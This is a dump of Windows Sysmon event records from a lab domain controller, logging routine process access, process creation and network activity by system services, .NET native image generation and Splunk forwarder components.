14:45:17.597{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F7D-613B-3B0A-00000000F001}1660C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.597{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.597{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.597{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.597{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.597{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7D-613B-3B0A-00000000F001}1660C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.597{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F7D-613B-3B0A-00000000F001}1660C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000045231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.466{7BD73061-6F7D-613B-3B0A-00000000F001}1660C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000045230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.526{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7D-613B-3C0A-00000000F001}5300C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.516{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7D-613B-3C0A-00000000F001}5300C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.516{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7D-613B-3C0A-00000000F001}5300C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.457{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7D-613B-3A0A-00000000F001}3840C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000045226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.451{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59267-false10.0.1.12-8000- 10341000x800000000000000045225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.426{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7D-613B-3A0A-00000000F001}3840C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.426{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7D-613B-3A0A-00000000F001}3840C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.276{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7D-613B-390A-00000000F001}5480C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.266{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7D-613B-390A-00000000F001}5480C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.266{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7D-613B-390A-00000000F001}5480C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.206{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7D-613B-380A-00000000F001}4224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.196{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E7E089A1EAEC86E7C0C9B8AE7247F290,SHA256=51808AA029A58506B772B7D255DF53A04CEAD797A22F499AAEF1D4EA94DEEBFE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.196{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7D-613B-380A-00000000F001}4224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.186{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7D-613B-380A-00000000F001}4224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.125{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7D-613B-370A-00000000F001}1640C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.105{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7D-613B-370A-00000000F001}1640C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.105{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7D-613B-370A-00000000F001}1640C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.058{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7D-613B-360A-00000000F001}1372C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 